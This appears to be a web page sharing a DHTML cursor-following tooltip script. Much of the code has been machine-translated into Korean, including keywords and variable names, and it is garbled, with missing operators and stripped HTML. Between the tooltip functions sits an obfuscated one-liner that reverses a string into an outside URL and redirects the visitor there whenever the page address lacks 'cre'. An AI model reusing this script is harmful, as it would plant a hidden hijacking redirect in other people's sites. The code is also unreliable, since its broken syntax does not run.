popdiv_javascript 트릭

var offsetfromcursorX=12 //툴팁의 x 오프셋 사용자 정의
var offsetfromcursorY=10 //툴팁의 y 오프셋 사용자 정의

var offsetdivfrompointerX=10 //포인터 이미지를 기준으로 도구 설명 DIV의 x 오프셋을 사용자 정의
var offsetdivfrompointerY=14 //포인터 이미지를 기준으로 도구 설명 DIV의 y 오프셋을 사용자 정의합니다. 팁: (height_of_pointer_image-1)로 설정하세요.

document.write('

') //툴팁 DIV 작성
document.write('') //포인터 이미지 쓰기

var ie=document.all
var ns6=document.getElementById && !document.all
var 활성화팁=false
if(ie||ns6)
vartipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var 포인터obj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

함수 ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefine")tipobj.style.width=thewidth "px"
if (typeof thecolor!="undefound" && thecolor!="")tipobj.style.BackgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner
cu/ /:p
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

함수 positiontip(e){
if(enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y ietruebody().scrollTop;
//마우스가 창 모서리에 얼마나 가까이 있는지 확인
var winwidth=ie&&!window.opera? itruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? itruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var Bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//컨텍스트 메뉴의 너비를 수용할 만큼 수평 거리가 충분하지 않은 경우
if (rightedge//메뉴의 수평 위치를 왼쪽으로 이동합니다. width
tipobj.style.left=curX-tipobj.offsetWidth "px"
nondefaultpos=true
}
else if (curXtipobj.style.left="5px"
else{
//마우스가 위치한 메뉴의 가로 위치를 지정합니다
tipobj.style.left=curX offsetfromcursorX-offsetdivfrompointerX "px"
pointerobj.style.left=curX offsetfromcursorX " px"
}

//세로 위치와 동일한 개념
if (bottomedgetipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY "px"
nondefaultpos=true
}
else{
tipobj.style.top=curY offsetfromcursorY offsetdivfrompointerY "px"
pointerobj.style.top=curY offsetfromcursorY "px"
}
tipobj.style.visibility=" visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

hiddendrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.BackgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip